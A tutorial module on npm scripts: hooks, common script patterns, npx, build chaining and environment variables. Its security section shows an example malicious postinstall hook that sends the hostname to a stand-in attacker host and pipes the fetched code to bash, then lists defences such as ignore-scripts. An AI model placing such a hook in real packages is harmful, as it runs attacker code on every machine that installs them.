mod_05 - npm Scripts
Table of Contents
- running scripts
- pre and post hooks
- common script patterns
- npx - one-off package execution
- scripts as build pipeline
- environment variables
- security: postinstall RCE
- summary
- prerequisites
npm scripts are the most underrated build tool in the Node ecosystem
Everyone reaches for Gulp, Grunt, or some JS config file when npm scripts can already handle 90% of what you need - no plugins , no complex configuration , no build dependencies. It’s just shell commands. And they’re already available in every Node project because npm ships with Node
running scripts
All scripts run via npm run <script-name>
npm run test # runs the "test" script
npm run build # runs the "build" script
npm run lint # runs the "lint" script
A few scripts have aliases:
npm startinstead ofnpm run startnpm testinstead ofnpm run testnpm stopinstead ofnpm run stopnpm restartinstead ofnpm run restart(actually runs stop + start + restart)
{
"scripts": {
"start": "node server.js",
"test": "jest",
"build": "next build"
}
}
pre and post hooks
npm automatically runs pre and post scripts around matching script names
{
"scripts": {
"prebuild": "rimraf dist/",
"build": "tsc",
"postbuild": "cp package.json dist/ && cp README.md dist/",
"pretest": "eslint .",
"test": "jest",
"posttest": "npm run build"
}
}
When you run npm run build, npm executes:
prebuild- clean the dist folderbuild- compile TypeScriptpostbuild- copy additional files
These hooks apply to any script, including lifecycle scripts:
{
"scripts": {
"preinstall": "node scripts/check-engine.js",
"postinstall": "node scripts/generate-assets.js",
"prepublishOnly": "npm test && npm run build"
}
}
Important: postinstall runs every time someone installs your package - not just development. If postinstall fails , the install fails. Use it sparingly for critical setup like compiling native addons or downloading platform-specific binaries. Don’t use it for linting or testing (that’s what prepublishOnly is for)
common script patterns
{
"scripts": {
"dev": "node --watch server.js",
"start": "NODE_ENV=production node server.js",
"test": "jest --coverage --verbose",
"test:watch": "jest --watch",
"test:ci": "jest --ci --coverage --maxWorkers=2",
"lint": "eslint .",
"lint:fix": "eslint . --fix",
"format": "prettier --write 'src/**/*.{js,ts,json}'",
"typecheck": "tsc --noEmit",
"build": "tsc && npm run build:assets",
"build:assets": "cp -r public/* dist/",
"clean": "rimraf dist/ coverage/ .nyc_output/",
"validate": "npm run lint && npm run typecheck && npm run test && npm run build",
"audit": "npm audit && npm outdated",
"ci": "npm ci && npm run validate"
}
}
The validate pipeline
A single validate script that runs everything - useful for CI and pre-commit hooks
npm run validate
# runs: lint -> typecheck -> test -> build
# if any step fails, the chain stops
In CI:
{
"scripts": {
"ci:all": "npm ci && npm run validate && npm run audit"
}
}
Cross-platform scripts
Shell commands don’t work the same on Windows and Linux. NODE_ENV=production is Unix-only. Use packages like cross-env for compatibility:
npm install --save-dev cross-env
{
"scripts": {
"start": "cross-env NODE_ENV=production node server.js",
"dev": "cross-env NODE_ENV=development node --watch server.js"
}
}
rimraf (instead of rm -rf) and copyfiles (instead of cp -r) also work cross-platform
npx - one-off package execution
npx ships with npm and runs packages without installing them globally
# Instead of:
npm install -g create-react-app
create-react-app my-app
# Use:
npx create-react-app my-app
# Run a specific version of a tool
npx eslint@8.0.0 . --fix
# Run a package from the project's node_modules
npx jest --coverage
# Execute a GitHub gist
# npx github:user/repo
npx first checks if the command exists in node_modules/.bin/. If not, it downloads the package, runs it , and discards it. This is the cleanest way to use CLI tools without polluting your global npm state
When to use npx vs npm scripts
{
"scripts": {
"lint": "eslint .",
"test": "jest"
}
}
In a script , eslint and jest resolve from node_modules/.bin/ automatically - no need for npx. Use npx for:
- One-time runs of CLI generators (create-react-app , create-next-app)
- Trying packages without installing them
- Running a different version than what’s in your project
scripts as build pipeline
Chain scripts with && (stop on failure) or ; (continue on failure)
{
"scripts": {
"build": "tsc && npm run build:minify && npm run build:hash",
"build:minify": "esbuild dist/index.js --minify --outfile=dist/index.min.js",
"build:hash": "node scripts/generate-hash.js",
"deploy": "npm run validate && npm run build && npm run deploy:upload",
"deploy:upload": "node scripts/deploy.js",
"hotfix": "npm run build && npm run test && npm run deploy"
}
}
The && vs ; distinction matters in CI. If a step fails with &&, the chain stops and the script exits with an error - the expected behavior for most pipelines. If a step fails with ;, the next step runs anyway - useful for linting where you want all results , not just the first failure
environment variables
npm scripts inherit environment variables from the shell. You can also set them inline
# Unix inline env variables
NODE_ENV=production npm run build
# Windows - use cross-env
cross-env NODE_ENV=production npm run build
npm also injects some variables:
npm_package_name- thenamefield from package.jsonnpm_package_version- theversionfieldnpm_lifecycle_event- the current script name (test, build, etc.)npm_config_*- npm config values
{
"scripts": {
"version:log": "echo \"Building $npm_package_name v$npm_package_version\""
}
}
These aren’t shell environment variables in the usual sense - they’re npm passing package.json fields through. Useful for custom build scripts
security: postinstall RCE
postinstall scripts run arbitrary code when npm install executes
This is the most common supply chain attack vector in npm. A malicious package can postinstall to:
{
"scripts": {
"postinstall": "curl http://attacker.com/$(hostname) | bash"
}
}
This runs on every developer’s machine and CI server that installs the package
Protection mechanisms:
# Run npm install without executing scripts
npm install --ignore-scripts
# Set globally (add to .npmrc)
ignore-scripts=true
# Audit installed packages for postinstall hooks
npm query ":attr(scripts, [postinstall])"
# List all packages with install scripts
npm ls --all --json | grep -A 1 'install\\|postinstall'
Production hardening:
- Add
ignore-scripts=trueto your project’s.npmrcfor production installs - Only run scripts when you trust the package (
npm installwith--ignore-scripts, then manually review) - Use
npm auditto check for known malicious packages - Review
postinstallscripts inpackage-lock.jsonbefore upgrading
summary
- Scripts are shell commands - use
&&for chaining ,;for continuation preandposthooks run automatically around matching script names- Use
cross-envfor cross-platform environment variables npxruns packages without global install - use it for CLI generators and tools- Scripts resolve
node_modules/.bin/automatically - no need for full paths postinstallscripts are the primary supply chain attack vector - use--ignore-scriptsin productionnpm_lifecycle_eventvariable tells you which script is currently running
prerequisites
mod_04_package_json - package.json fields and structure
next -> mod_06_manage_dep
Posted · Updated